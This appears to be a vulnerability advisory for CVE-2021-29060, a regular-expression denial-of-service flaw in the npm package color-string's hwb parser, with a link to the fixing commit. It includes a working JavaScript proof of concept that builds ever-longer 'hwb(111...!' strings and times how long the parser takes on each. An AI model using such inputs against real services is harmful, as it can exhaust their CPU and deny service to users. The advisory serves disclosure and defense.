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CVE-2021-29060

Package

color-string

Overview

color-string is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.

Proof of Concept

var colorString = require("color-string")
function build_blank(n) {
 var ret = "hwb("
 for (var i = 0; i < n; i++) {
  ret += "1"
 }
 return ret + "!";
}

// colorString.get('hwb(60, 3%, 60%)')
for(var i = 1; i <= 5000000; i++) {
   if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_blank(i)
        colorString.get(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

GitHub Commit

https://github.com/Qix-/color-string/commit/0789e21284c33d89ebc4ab4ca6f759b9375ac9d3